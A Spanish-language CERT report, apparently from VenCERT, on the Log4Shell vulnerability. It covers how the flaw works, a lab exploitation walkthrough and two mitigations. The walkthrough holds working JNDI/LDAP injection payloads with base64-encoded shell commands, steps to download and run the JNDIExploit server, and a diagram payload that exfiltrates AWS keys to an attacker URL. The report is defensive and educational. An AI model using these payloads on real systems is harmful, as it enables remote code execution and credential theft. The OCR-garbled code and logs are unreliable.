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Apache Log4J

Un poco de historia

Log4jl tuvo su origen en el afio de 1996, en el seno del proyecto SEMPER (proyecto
en el drea de la seguridad electrénica y comercio bajo redes abiertas de la Union
Europea) desarrollado por la fundacién Apache. En el afo 2001 fue conocido su
primer lanzamiento como una APl o marco de registro o traza, ya que el registro
(log) es un componente importante en el ciclo de desarrollo del software. Fue
disefiado para ser fiable, rdpido y extensible, de otra manera, un paquete de
registro ralentizaria la ejecucidn de una aplicacién. Log4jl, ya que es lo
suficientemente versatil, también puede considerarse como una herramienta de
auditoria. Dado que el registro (log) rara vez es el foco principal de una aplicacién,
los desarrolladores de log4jl se esforzaron por hacerlo simple de entender y de
usar y ha sido ampliamente adoptado por muchas aplicaciones.
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En agosto de 2015 culmind el ciclo de vida util de Log4jl, debido a la dificultad que
presentaba su manutencion, y por la necesidad de hacerlo compatible con
versiones muy anticuadas de java, por lo tanto fue sustituido por su alternativa
SLF4j/Logback que hizo muchas mejoras necesarias en el marco.

Luego de esto, el equipo de Apache optd por el desarrollo de Log4j2 como
respuesta a los problemas de log4jl, ofreciendo mejoras sustanciales como una
arquitectura de plugin que lo hace mas extensible que su predecesor. Log4j2 no es
compatible con Log4jl, sin embargo estd disponible un adaptador.
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Arquitectura

Las aplicaciones que implementen la APl de Log4j2, hardn uso de la instanciacion
del objeto Logger, con un nombre especifico a la clase LogManager. El
LogManager localizard el LoggerContext indicado y después obtendrd el Logger de
él. Si el Logger debe ser creado, se asociard con el LoggerConfig. Los objetos
LoggerConfig se crean a partir de las declaraciones de Logger en la configuracion.

El LoggerConfig se asocia con los Appenders que realmente entregan los
LogEvents.

class Logdj Classes/

0
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o LoggerContext |, 1| Configuration |4 0.- Filter
(0] L
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o= ' StrSubstitutor StrLookup
z 1 o B
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> Logger LoggerConfig Appender Layout
: - name: Stinglo - 1]- mname: String - 0.-|- name: Sting|1 01
- parent: LoggerConfig
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. Diagrama de Clases de Log4j2
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Vulnerabilidad

Es una vulnerabilidad que afecta a millones de servidores en todo el mundo donde
un atacante podria ejecutar un malware y tomar el control total de ese servidor.
Esta vulnerabilidad ha sido registrada como CVE-2021-44228 y con una
puntuacion CVSS de 10 ilustrando asi una puntuacién maxima.

El atacante para poder explotarla, necesita que la aplicacion registre una cadena
especial. No obstante, hay muchos atacantes que estdn explotando la
vulnerabilidad Log4Shell donde pueden, por ejemplo, instalar mineros de
criptomonedas o convertir los dispositivos afectados en una botnet.
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Se estima que Java estd presente en unos 3.000 millones de dispositivos en todo
el mundo. Hay varias formas de saber si presentamos esta vulnerabilidad pero la
mads sencilla es conocer la version de Log4j que tenemos instalada las vulnerables
van desde la 2.0-beta9 hasta la 2.14.1.

VULNERABILIDAD

LOG4J2 EN 3 PASOS
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El atacante envia a la victima una entrada maliciosa LDAP a través de la interfaz
JNDI de java, dicha entrada estd compuesta por una URI que apunta a un servidor
malicioso LDAP perteneciente al atacante, ademds, la entrada contiene
generalmente una “inyeccion de comandos del S.O codificada en base64”, luego
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el servidor de la victima por medio de la interfaz JNDI redirecciona la entrada al
servidor LDAP del atacante, el servidor LDAP malicioso busca el recurso solicitado,
en este caso la entrada codificada con la inyeccidén de comandos, sin embargo, el
atacante previamente ha configurado su servidor LDAP para que al coincidir con
esta entrada, su servidor LDAP a su vez, redireccione a un servidor HTTP que
también le pertenece y que obligard la descarga de un recurso .class, que se
encuentra embebida con la inyeccién de comandos enviada al principio del
ataque. La propiedad de recursos compartidos JNDI del servidor victima,
descargard este recurso, por lo que el atacante ejecutard la entrada maliciosa y
en ultima instancia logrard su objetivo.

Breve Andlisis de la Clase (.class) JndiLookup Decompilada.
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package org. apache.logging. Logd) . core. lookup;

import org.apache. logging. Logd] . MarkerMarager ;

import org.apache.logging . logd].status . Statuslogger

Lmport javax.naming . MsmisgEzception

import java.util.Objects

import org.apache.logging.logd].core.net . IndiManager
import org.apache. logging. Llogd].core. LogEsant

import org.apache. logging. Logdj . Marker

Lmport arg.apache.logging. logd) . Logger

Lmport arg.apache.logging.logd] . core.config. pluging . Plugin

P Luging name jndi®, category Lookug® §
public class Jndilookup sxtends Ahskrscticokup

private static final Logger LOGEER
private staric final Marker LOOKUD

static Tinal String CONTATHER_JMDI_RESOURCE _PATH_PREFLN ) TV T
public String lookupiFinal LogEvent svent, finsl String key) |
AT [Way == mull]) |

Faturn null

firal String jndilame = this, corwes tIndidamse( key);
cry [Tinal JIndiMasages JnodiMensger Ind LManEger . getDe faul CMafgsr
raturn Objects. toString( jndiManager . lookup( jndiNass ). null)

catch [MamingException &) o
IndiLookup . LOGGER, warn{ Indilookup, LOOKUP, "Error looking up JEDI resource [{31.7. {Object)indiNams, (Object]e);
raturn null

]

privats String comertIndiNase|finkl String JndiMems)
i [!jindiMame . startsWithd ®java:conpseny 55 jmdiName . indexD(58) 1}
return "javazconpglenys™ + (ndiName;

return Jndidase

static |
LEGGER = | Logger 1Statuslogger -getlogger ]
LODKUP = MarksrMasages , getHarker | "LOOKUP™
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Esta clase es la interfaz de la API JNDI de Java para Log4j2, observamos que estd
compuesta por dos funciones, una publica de nombre lookup y otra privada de
nombre convertJndiName, ademds, ambas devuelven valores string.
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La funcidn Lookup se encargard de validar la variable “key”. Dicha variable
contiene la entrada JNDI que ejecutard la basqueda del recurso LDAP, que si no se
ha inicializado retornaré el valor “null” y terminaré la funcion. Si la variable “key” se
ha inicializado serd pasada como pardmetro a la segunda funcidn
convertJndiName, que también se asegurard de que la variable key cumpla
ciertos requisitos (como que no esté inicializada con la cadena: “java:comp/env” y
que no contenga el cardcter “”). En caso contrario serd aradido el prefijo
“java:comp/env/” que es el directorio relativo de un contenedor del arbol JNDI,
para los directorios activos dentro de la maquina virtual de java.
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Tal como para el caso del la vulnerabilidad de log4j2, se pasard una URI
(identificador de recursos de red) que retornara el jndiName con la URI que se le
ha pasado y devolverd el valor a la funcién “lookup” a la variable jndiName que
serd capturada por un bloque de exepcién try/catch.

Si existe una excepcion se desplegard un error utilizando el mismo marco de
registro de log4j2, si el valor del jndiNome es valido, su valor pasard como
argumento a la funcidn lookup de la clase JndiManager, que utiliza las librerias
oficiales de java que fabricard los objetos necesarios para construir el JNDI.

Luego retornard un objeto de tipo string que serd invocado por la funcién lookup
de la clase Interpolator, clase que serd referenciada a través de otras, cuando
sean instanciados los objetos del tipo Logger.

Tal como hemos podido observar las validaciones son muy bdsicas y solo se
aseguran de ‘limpiar” la variable, para asegurar el funcionamiento correcto de la
APl de JNDI, se presenta uno de los fallos cuando el gran ausente es un
mecanismo que filtre la URI de caracteres que comprometan la aplicacidén o que
normalice los atributos de entradas para LDAP, por lo que nada limitard a un
atacante interactuar con los valores de entrada y lograr la ejecucion de codigo
arbitrario, en el momento que se fabrique el entorno de recursos compartidos, y
cuando se llegue a este punto impedir la inyeccién de cddigo en java.
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Prueba de Funcionamiento de Log4j2

Descargamos las dependencias necesarias para hacer funcionar el paquete de

Log4j2 en su versidn 2.10, para esto nos apoyamos de Apache Maven, editando su
archivo pom.xml.

Como se ha dicho anteriormente, los Loggers se crean Illamando a
LogManager.getLogger. El Logger en si mismo no realiza ninguna accidn directa.
Simplemente tiene un nombre y estd asociado a un LoggerConfig. Extiende a
AbstractLogger e implementa los métodos necesarios. A medida que se modifica
la configuracién, los Loggers pueden pueden asocidrse a una LoggerConfig
diferente, lo que hace que se modifique su comportamiento.

[

igacion

GNU nano 2.7.4 Fichero: App.java

com.miguel.log4j2;

org.apache.logging. log4j.LogManager;
org.apache.logging.log4j.Logger;

App {

Logger varLogVenCERT = LogManager.getLogger(

main{ String[] args ){

System.out.println(
varLogVenCERT.entry();
varLogVenCERT.error(
System.out.println();

)
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Archivo de la clase App.class, con instrucciones para comprobar el funcionamiento de Log4j2.
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GNU nano 2.7.4 Fichero: log4j2.xml
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Archivo de configuracion log4j2.xml utilizado por la clase Configuration.

Log4j2.xml es el archivo de configuracion para Log4j2 (existen otras maneras de
configurar el formato). La impresiéon o salida de los logs puede ser tanto en
consola como en un archivo de registros (logs), que se configura a través de la
etiqueta <Appenders>. Cuando se asocia la etiqueta <PatternLayout> se puede
personalizar el formato, permitiendo al usuario especificar el formato de salida de
acuerdo con patrones de conversion similares a la funcion printf del lenguaje C.

La figura que se muestra a continuacion, detalla un ejemplo de la compilacion y
ejecucion del archivo App.class

miguel@debian: ~/com.miguel.log4j2/target (-]
Archivo Editar Ver Buscar Terminal Ayuda
miguel@debian: % java -jar com.miguel.log4j2-1.08-SNAPSHOT-jar-with-dependencies.jar

10:56:03.892 [main] ERROR App - Prueba LOG4J2 VenCERT
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miguel@debian: Ey |
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Explotacion

La explotacidon de Log4j se basa en la ejecucion de comandos remoto mediante
una funcién de Java llamada JNDI, al momento en que el aplicativo realiza algun
registro de una peticién de un User-Agent externo, dicho comando utiliza algun
servicio que ejecute la aplicaciéon en Java. Dentro del mismo comando, se debe
establecer la IP del servidor atacante y el puerto del servicio anteriormente

mencionado y por consiguiente las funciones que se deseen explotar mediante el
servicio.
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Para la realizacion de la explotacidn se deben usar 2 madaquinas virtuales
ejecutando servicios especificos, las cuales se reflejan de la siguiente manera:

. Servidor Vulnerable (Debian): Es donde se encontrard alojada la aplicacion

[}
vulnerable.
7’
Q . Servidor Atacante (Kali): Es donde se aloja el servidor con el exploit de log4j
> activo.
-
o mr— mr—
- > = > |
ESCE(T :J’ ng N4(_)rmal Peticion HTTP enviada E- Peticion HTTP registrada E-
u 94 mediante GET /index.html| mediante Log4J
Kali: User-Agent: Mozilla/5.0 Debian:
QO 172.31.80.101 172.31.80.100
£ S— m=
h A Scengrlcl)_ 84. > E_
taque de Log4) Peticion HTTP enviada mediante GET /index.html [ —
User-Agent:${jndi: service}//[atack.server.url)/?s=$env:AWS_ACCESS_KEY_ID}
Ul Kali: Debian:
: 172.31.80.101 172.31.80.100
e i)
mr—
=r| .
|
s Objetivo envia peticion HTTP al atacante revelando informacion confidencial

Kali:
172.31.80.101 http:/l tack.server.urll]| ?s=

(| Sistema Nacional de Gestion de Incidentes Telemdticos
DE USO PUBLICO ‘ Av. Andrés Bello, Edif, BFC, Piso 13. Caracas, Venezuela

Ministerio del Poder Popular | Superintendencia de Servicios ™ fl‘
para Ciencia y Tecnologia | de Certificacion Electronica

vd Gobierno Bolivariano
de Venezuela

_ 3
[2022 - 2030]



%O
SUSCERTE°§;§§‘° VenCERT

uperintendencia de Servicios de Certificacion Elects ca
Sistema Nacional de Gestién de Incidentes Telematicos

En este caso, se explotara el servicio JNDI, el cual es muy comun en estas
aplicaciones, ya que es un servicio de directorio que permite a un programa Java
encontrar datos a través de un directorio utilizando un servicio de nombres, este a
su vez usa otras interfaces tales como RMI o LDAP. Esta Ultima tiene funciones
propias de un directorio activo en el que se gestionan las credenciales y permisos
de los usuarios para acceder a directorios, donde se ve reflejada en la ejecucion
del exploit.

Para poder realizar las pruebas, se procede a instalar el servidor con un aplicativo
vulnerable, el cual utiliza el servidor de Apache Tomcat, que usa funciones de Java
incluida Log4J. Dicha aplicacién se encuentra disponible en Github, llamada
log4shell-vulnerable-app. En el caso del atacante, se utilizara una aplicacion
llamada JNDIExploit 1.2, el cual se encontraba alojado de forma publica en Github,
pero fue dado de baja. Sin embargo aln se puede encontrar mediante
https://archive.org/index.php en un estado del sitio anterior para descargar el aplicativo.

[ <
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Log4shell-vulnerable-app:
https://qgithub.com/christophetd/log4shell-vulnerable-app

JNDIExploit 1.2:

https://web.archive.orqg/web/20211211031401/https://qithub.com/feihong-cs/
JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip

Preparacion del Servidor Vulnerable

Se inicia a descargar e instalar las aplicaciones git, wget y docker en el servidor
donde se alojara el aplicativo vulnerable con los siguientes comandos:

~ sudo apt update

)
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~ sudo apt install wget git docker.io

(| Sistema Nacional de Gestion de Incidentes Telemdticos
DE USO PUBLICO ‘ Av. Andrés Bello, Edif, BFC, Piso 13. Caracas, Venezuela

Gobierno Bolivariano

Ministerio del Poder Popular | Superintendencia de Servicios ) o‘
de Venezuela

para Ciencia y Tecnologia | de Certificacion Electronica

<
[2022 - 2030]


https://archive.org/index.php
https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
https://github.com/christophetd/log4shell-vulnerable-app

©
&, R 9

uperintendencia de Servicios de Certificacion Elects ca

SUSCERTE°§L\<§§?‘° VenCERT

Sistema Nacional de Gestion de Incidentes Telematicos

Luego se realiza la descargar del log4shell-vulnerable-app con el siguiente
comando:

~ git clone https://github.com/christophetd/log4shell-vulnerable-app.git

Después se procede a iniciar el servicio del aplicativo a través del uso de un
contenedor con la herramienta docker con el siguiente comando:

~ sudo docker run --name vuilnerableapp -p  8080:8080
ghcr.io/christophetd/log4shell-vulnerable-app

[ <
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(" NOTA h

Donde se muestra vulnerableapp, se debe colocar el nombre que se desee dar al
nombre del conetenedor en docker.

. J

Preparacion del Servidor Atacante

En este caso se procede a descargar e instalar la aplicacién wget con los
siguientes comandos:

~ sudo apt update

~ sudo apt install wget

Por consiguiente, se debe descargar el servicio encargado de ejecutar el exploit
en el servidor atacante mediante el siguiente cédigo:

~ wget https://web.archive.org/web/20211211031401/https://github.com/feihong-
cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
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Extraemos el archivo descargado con el siguiente comando:

~ unzip JNDIExploit.v1.2.zip
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Luego, iniciamos el servidor del exploit con el siguiente comando:

~ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.31.80.101 -p 8181

ell-vulnerable-app

-
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main] o.s.b.w.e.t.T > 8 ted on por

main] f.c _VulnerableAppApp n IS ulnerableA

Servidor Vulnerable Iniciado.

: fhomefvencert

Servidor Atacante Iniciado.
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Ejecucion de la Explotacion

Primero se debe codificar el comando de terminal de linux que se desea ejecutar,

para ello se puede utilizar el sitio https://www.base64encode.org/, asi como se
muestra en el siguiente ejemplo:

~ touch /tmp/Vencert-Prueba

Base64: dGI91Y2ggL3RtcCOWZW5jZXJOLVBYydWViYQ==

Abrimos una nueva terminal en la maquina atacante y ejecutamos el siguiente
comando:

[ <
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curl 127.0.0.1:8080 -H X-Api-Version: ${jndildap://your-private-ip:1389/Basic
/Command/Base64/dG91Y2ggL3RtcCIwWd25IZAo=}

( NOTA \

Donde se muestra la IP 127.0.0.1:8080, se debe cambiar por la IP del servidor
vulnerable. En donde se muestra your-private-ip, se debe cambiar por la IP del
servidor atacante. En donde se muestra el coédigo en Base64
(dG91Y2gqgl3RtcCIWd25IZA0=), se debe cambiar por el comando que
\ anteriormente de codifico. )

2] vencert@kali; ~

172.31.86.188

Comando preparado para ejecutarse.

)
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vencert@kali: ~

172.31.80.160:8088
GO1Y2 3RtcCOWd2517 A

I-Ie-llo, worl

Si se ejecuta de manera exitosa, debe mostrar el mensaje: Hello, world!.

] Received LDAP Query: Basic/Command/Base64/dG91Y2ggl3RtcCOwd251ZA0=
] Paylaod: command
] Command: touch /tmp/pwned

] sending LDAP ResourceRef result for Basic/Command/Base64/dGS1Y2ggl3RtcC9wd2517A0= with basic remote reference payload

] send LDAP reference result for Basic/Command/Base64/dG91Y2ggl3RtcCowd2517A0= redirecting to http://172.31.80.181:8181/Exploitbe3Y5PcNhC.
] New HTTP Request From f172.31.86.100:53258 /Exploit6e3YSPcNhC.class

] Receive ClassRequest: Exploit6e3YSPcNhC.class

] Response Code: 200

] Received LDAP Query: Basic/Command/Base64/dG91Y2ggl 3RtcCOwd251ZA0=

] Paylacd: command

] Command: touch /[tmp/puned

[
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] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggl3RtcCowd2517A0= with basic remote reference payload

] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggl 3RtcC9wd2517A0= redirecting to http://172.31.80.1081:8181/ExploitsjUdUGSYWA.class
] New HTTP Reguest From /172.31.80.10@:53262 /ExploitsjuduGSYWA.class

] Receive ClassRequest: ExploitsjUdUGSYWA.class

] Response Code: 280

El Servidor atacante refleja las siguientes lineas, donde la ultima linea indica Cédigo de
Respuesta 200.

vencert@TVS1: ~

at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)

at org.springframework.web.filter.CharactereEncodingFilter.doFilterInternal(CharacterEncodingfFilter.java:281)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)

at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)

at org.apache.catalina.core.StandardWrapperValve.invoke(StandardirapperValve.java:197)

at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)

at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)

at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)

at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve. java:92)

at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)

at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)

t org.apache.coyote.httpll.HttpllProcessor.service(HttpllProcessor.java:382)
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
org.apache. coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:895)

t org.apache.tomcat.util.net.NicEndpoint$SocketProcessor.doRun(NiocEndpoint.java:1722)
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase. java:49)

t org.apache.tomcat.util.threads.ThreadPoolExecutor. runborker{ThreadPoolExecutor.java:1191)
org.apache.tomcat.util.threads. ThreadPoolExecutor$iorker. run(ThreadPoolExecutor.java:659)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

t java.lang.Thread.run(Thread.java:748)

Caused by: java.lang.ClassCastException: ExploitsjUdUGSYWA cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1885)
88 more
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2622-81-21 19:55:82.423 INFO 1 --- [nio-8@8@-exec-2] HellolWorld : Received a request for
AP version ${jndi:ldap://172.31.86.1081:1389/Basic/Command/Base64/dGo1Y2gal 3RtcCOwd2517A0=1}

El servidor vulnerable refleja las lineas de registro en el Aplicativo Apache Tomcat, e indicando
en la ultima linea el comando ejecutado con la funcién jndi:Idap.
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Para comprobar que la explotacion funciond, se debe ejecutar comandos en el
servidor donde se aloja el contenedor docker que ejecuta el servicio vulnerable.
Para ello se puede utilizar el siguiente comando:

~ docker exec vulnerableapp Is Ztmg[

([ )

NOTA
Donde se muestra son los comandos en Linux que se pueden ejecutar en el
contenedor, y donde se muestra vulnerableapp, se debe colocar el nombre del
\ contenedor creado.

-

igacion

v,

v vencert@TVS1: ~

ableapp ls /tmp/

erfdata root
pwned
tomcat
TOmc:
oo

Prueba de que funciono la creacion de archivo mediante el Payload.
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Mitigacién

La inyeccion de comando es sencillo, el proceso se explica claramente en el
apartado “Explotaciéon” de este mismo documento, la diferencia radica en que se
ejecutard directamente desde el codigo fuente y no desde un servidor vulnerable
a través de su encabezado http “X-Api-Version”. Antes de realizar el proceso de
explotacion el atacante deberd tener en su control dos servidores, un servidor
LDAP que hard la redireccidn no autorizada y un servidor HTTP desde donde se
hard la carga del payload del exploit, creard un fichero de nombre “vencert.txt”
que contendrd el mensaje: “explotacion log4j2 exitosa’'.

-

igacion

GNU nano 2.7.4

Fichero: App.java

App {

logger.error(

logger.error("${jndi:ldap://192.168.28.148:1389/Basic/ Command/Base64/
ZWNobyAiZXhwbG90YWNpb24gbGInNGoyIGV4aXRvc2EiID4gL3RtcCI2ZW5jZXJOLNR
4dA==}");
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Base 64 decodificado:
~ echo "explotacion log4j2 exitosa” > [tmp/vencert.txt
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ldap://192.168.28.148:1389/Basic/Command/Base64/ZWNobyAiZXhwbG90YWNpb24gbG9nNGoyIGV4aXRvc2EiID4gL3RtcC92ZW5jZXJ0LnR4dA
ldap://192.168.28.148:1389/Basic/Command/Base64/ZWNobyAiZXhwbG90YWNpb24gbG9nNGoyIGV4aXRvc2EiID4gL3RtcC92ZW5jZXJ0LnR4dA
ldap://192.168.28.148:1389/Basic/Command/Base64/ZWNobyAiZXhwbG90YWNpb24gbG9nNGoyIGV4aXRvc2EiID4gL3RtcC92ZW5jZXJ0LnR4dA
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Nos apoyamos del mismo servidor malicioso JNDIExploit-1.2-SNAPSHOT.jar usado
en el apartado “Explotacion” que esta vez iniciard desde la IP: 192.168.28.146, y que
tal como se puede observar en la captura de abajo, habilita un servidor LDAP de
puerto 1389 y un servidor HTTP de puerto 8181

# nmap -p 1389,8181 -sV 192.168. 2¢
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-26 11:51 -04
Nmap scan report for 192.168.28.148
Host is up (0.000568s latency).

STATE S5ERVICE VERSION
1389/tcp open ldap (Anonymous bind 0K)
8181/tcp open http JBoss Enterprise Application Platform
MAC Address: 00:0C:29:2B:90:C8 (VMware)

acion

las lineas que se ha descargado el ExplthtpUHeONBh que se trata de un
archivo .class

12:17:46.635 [main] ERROR App ${Jndl ldap://192. 168 28.148: 1389/Eas1c/Command/Base64/ZWNobyAlZXhwaQOYWpr24gb69nNGDyIGV4aXva2E11D4gL3thC922w5]ZXJ@LnR4dA =}

:47,152 pool-
:47,153 pool-
:47,154 pool -
:17:47,155 pool-
:17:47,156 pool-
47,157 pool-
47,159 pool-
:47,169 pool-1-th

2
2
2
2
2
2
2
2
26

Comprobamos que la inyeccion fue realizada de manera exitosa, luego borramos
el archivo “vencert.txt” para comenzar con la mitigacion.
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Archivo Editar Ver Buscar Terminal Ayuda
miguel@debian:~$ 1s -1 /tmp/vencert.txt

-rw-r--r-- 1 root root 27 feb 26 12:56 /tmp/vencert.txt
miguel@debian:~$ cat /tmp/vencert.txt

explotacion log4j2 exitosa
miguel@debian:~$ [

Usamos el mismo equipo victima para comprobar que los métodos de mitigacion
que aplicaremos sean efectivos contra la vulnerabilidad, que en nuestro caso se
expone mediante log4j2 version 2.10.
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Primer Método de Mitigacién

La primera forma de mitigar la vulnerabilidad log4j2 se realiza colocando los
valores de com.sun.jndi.rmi.object.trustURLCodebase y
com.sun.jndi.ldap.object.trustURLCodebase de nuestro archivo App.class en
“false” tal como en la siguiente captura:

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.7.4

Fichero: App.java

-

igacion

com.miguel.log4j2;

org.apache.logging.log4j.LogManager
org.apache.logging.log4j.Logger

App {

Logger logger = LogManager.getlLogger(

main( String[] args ){

System.setProperty(
System.setProperty(

logger.error(
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Luego de editar compilamos, en nuestro caso con Apache maven:

root@debian:/home/miguel/com.miguel.log4j2# mvn clean compile assembly:single

[INFO] Scanning for projects...

[INFO]

[INFO]

[INFO]

[INFO]

[INFO]

[INFO] --- maven-clean-plugin:3.1.0@:clean (default-clean) @ com.miguel.log4j2 ---

[INFO] Deleting /home/miguel/com.miguel.leog4j2/target

[INFO]

[INFO] --- maven-resources-plugin:3.0.2:resources (default-resources) @ com.miguel.log4j2
[INFO] Using 'UTF-8' encoding to copy filtered resources.

[INFO] Copying 3 resources

[INFO]

[INFO] --- maven-compiler-plugin:3.8.0:compile (default-compile) @ com.miguel.log4j2 ---
[INFO] Changes detected - recompiling the module!

[INFO] Compiling 1 source file to /home/miguel/com.miguel.log4j2/target/classes

[INFO]

[INFO] --- maven-assembly-plugin:2.4.1:single (default-cli) @ com.miguel.log4j2 ---
[INFO] Building jar: /home/miguel/com.miguel.log4j2/target/com.miguel.log4j2-1.0-SNAPSHOT-jar-with-dependencies
[INFO]

[INFO]

[INFO]

[INFO] Total time: 2.881 s

[INFO] Finished at: 2022-02-26T13:16:04-04:00

[INFO] Final Memory: 19M/184M

[INFO]

-
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[}
Al ejecutar observamos que la salida en pantalla es muy distinta a cuando
teniamos configurada con el valor true las variables
com.sun.jndi.rmi.object.trustURLCodebase y

com.sun.jndi.ldap.object.trustURLCodebase.

2022-02-26 :17:25,199 main Shutdown hook enabled. Registering a new one.

2022-02-26 7:25,200 main LoggerContext[name=74al4482, org.apache.logging.log4j.core.LoggerContext@6al92cfe] started OK.

2022-02-26 125,207 main Starting JndiManager org.apache.logging.log4j.core.net.JndiManager

2022-02-26 g main Shutting down JndiManager org.apache.logging.log4j.core.net.JIndiManager

2022-02-26 :17:25,239 main Shut down JndiManager org.apache.logging.log4j.core.net.JndiManager, all resources released: true
foo

2022-02- palpiamts pool-1-thread-1 DEBUG Stopping LoggerContext[name=74al14482, org.apache.logging.log4j.core.LoggerContext@6al92cfe]
2022-02- B pool-1-thread-1 DEBUG Stopping LoggerContext[name=74al4482, org.apache.logging.log4j.core.LoggerContext@al92cfe]..
2022-02- :25,; pool-1-thread-1 TRACE Unregistering 1 MBeans: [org.apache.logging.logd4j2:type=74a14482]

2022-02- =25 pool-1-thread-1 TRACE Unregistering 1 MBeans: [org.apache.logging.log4j ype=74a14482, component=StatusLogger]
2022-02- 2255 pool-1-thread-1 TRACE Unregistering 1 MBeans: [org.apache.logging.log4j2:type=74al14482,component=ContextSelector]
2022-02- 7 pool-1-thread-1 TRACE Unregistering but no MBeans found matching 'org.apache.logging.log4j2:type=74al4482, component]
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Si buscamos el archivo “vencert.txt” que antes pudimos insertar, nos encontramos
con un mensaje de error, indicdndonos que no existe.

miguel@debian: ~

Archivo Editar Ver Buscar Terminal Ayuda
:~% 1s -1 /Jtmp/vencert.txt

mp/vencert.txt': No iste el fichero o el directorio
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Segundo Método de Mitigacién

La clase que debemos eliminar de log4j2 tiene por nombre “JndiLookup.class” y
seencuentra ubicado dentro del paquete log4j-core-<su_versidn>.jar en nuestro
caso es log4j-core-2.10.0.jar, por lo tanto debemos localizarlo, para esta tarea
utilizaremos el comando “locate” o tambien se puede utilizar un script realizado
por los especialistas del VenCERT para localizar la ruta del archivo vulnerable:

https://dithub.com/MiguelM001/vulescanjndilookup/blob/master/vulescanjndilook

root@debian:/home/miguel# locate logdj-core

/root/.m2/repository/org/apache/logging/log4j/logdj-core

/root/.m2/repository/org/apache/logging/log4j/log4j-core/2.
.m2/repository/org/apache/logging/log4j/log4j-core/2.

.m2/repository/org/apache/logging/log4j/log4j-core/2.
.m2/repository/org/apache/logging/log4j/log4j-core/2.
.m2/repository/org/apache/logging/log4j/logdj-core/2.
.m2/repository/org/apache/logging/log4j/logdj-core/2.

.0

.0/ remote.repositories
.0/log4j-core-2.10.0.jar
.0/1log4j-core-2.10.0.jar.shal
.0/1log4j-core-2.10.0.pom
.0/log4j-core-2.10.0.pom.shal

root@debian:/home/miguel# [j

Nos movemos a la ruta donde se encuentra nuestro archivo log4j-core-2.10.0.jar,
la ventaja que ofrece este método es que no desempaqueta el archivo, sin
embargo vemos que dentro se encuentra la clase que buscamos.

Archivo Editar Ver Buscar Terminal Ayuda

root@debian:~/.m2/repository/org/apache/logging/log4j/log4j-core/2.10.0/temporal/org/apache/logging/log4j/core/lookup# ls -1

root root 735 nov 19
root root 636 nov 19
root root 1666 nov 19
root root 2333 nov
root root 855 nov
root root 8705 nov
root root 3513 nov
root root 1362 nov

2017 AbstractConfigurationAwarelLookup.class

2017 AbstractLookup.class

2017 ContextMaplLookup.class

2017 DatelLookup.class

2017 EnvironmentLookup.class

2017 Interpolator.class

2017 Javalookup.class

2017 JmxRuntimeInputArgumentsLookup.class
JndilLookup.class
Log4jLookup.class
MainMapLookup.class

W
-rwW-r--r--
-rwW-r--r--

1
il
1
1
= L
-1
= 1
= L
- 1
5 1
= L
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Ejecutamos el siguiente comando que eliminard la clase JndiLookup.class, sin
necesidad de desempaquetar el archivo log4j-core-2.10.0.jar:

~ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Sistema Nacional de Gestion de Incidentes Telemdticos
Av. Andrés Bello, Edif, BFC, Piso 13. Caracas, Venezuela

¥

<
[2022 - 2030]

DE USO PUBLCO A

Gobierno Bolivariano
de Venezuela

Ministerio del Poder Popular

Superintendencia de Servicios
para Ciencia y Tecnologia

de Certificacion Electronica



https://github.com/MiguelM001/vulescanjndilookup/blob/master/vulescanjndilookup.py
https://github.com/MiguelM001/vulescanjndilookup/blob/master/vulescanjndilookup.py
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Comprobamos que se han realizado los cambios, comparando la funcidén hash
criptogrdfica entre el archivo modificado log4j-core-2.10.0.jar y el archivo log4j-
core-2.10.0.jar.sha que contenia el hash original.

root@debian:~/.m2/repository/org/apache/logging/log4j/log4j-core/2.10.0# shalsum log4j-core-2.10.0.jar

- ffbd719126678551de195180e7ff88c88c93666a logdj-core-2.10.0.jar

root@debian:~/.m2/repository/org/apache/logging/log4j/log4j-core/2.10.0# cat log4j-core-2.10.0.jar.shal & echo ""
c90b597163cd28ab6d9687edd53db601b6ea75al

root@debian:~/.m2/repository/org/apache/logging/log4j/log4j-core/2.10.0# ||

Compilamos y ejecutamos de nuevo el cédigo malicioso, y vemos como no logra
inyectarnos el archivo vencert.txt, por lo concluimos que hemos mitigado la
vulnerabilidad.

-
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TRACE
DEBUG
DEBUG
ain DEBUG R
main DEBUG R
main TRACE U
in TRACE U
DEBUG R

. subtype=RingBuffer'

at URI jar:file:/home/miguel/com.miguel.log4j2/target/com.miguel.log4j2-1.0-SNAPSHOT-jar-witH
null
0 main

main r 4 0 pa 4 ontex 3715b5] started OK

DEBHG

DEBUG

TRACE U

TRACE U

TRACE U

TRACE U

TRACE U

TRACE U

TRACE U ompone g r

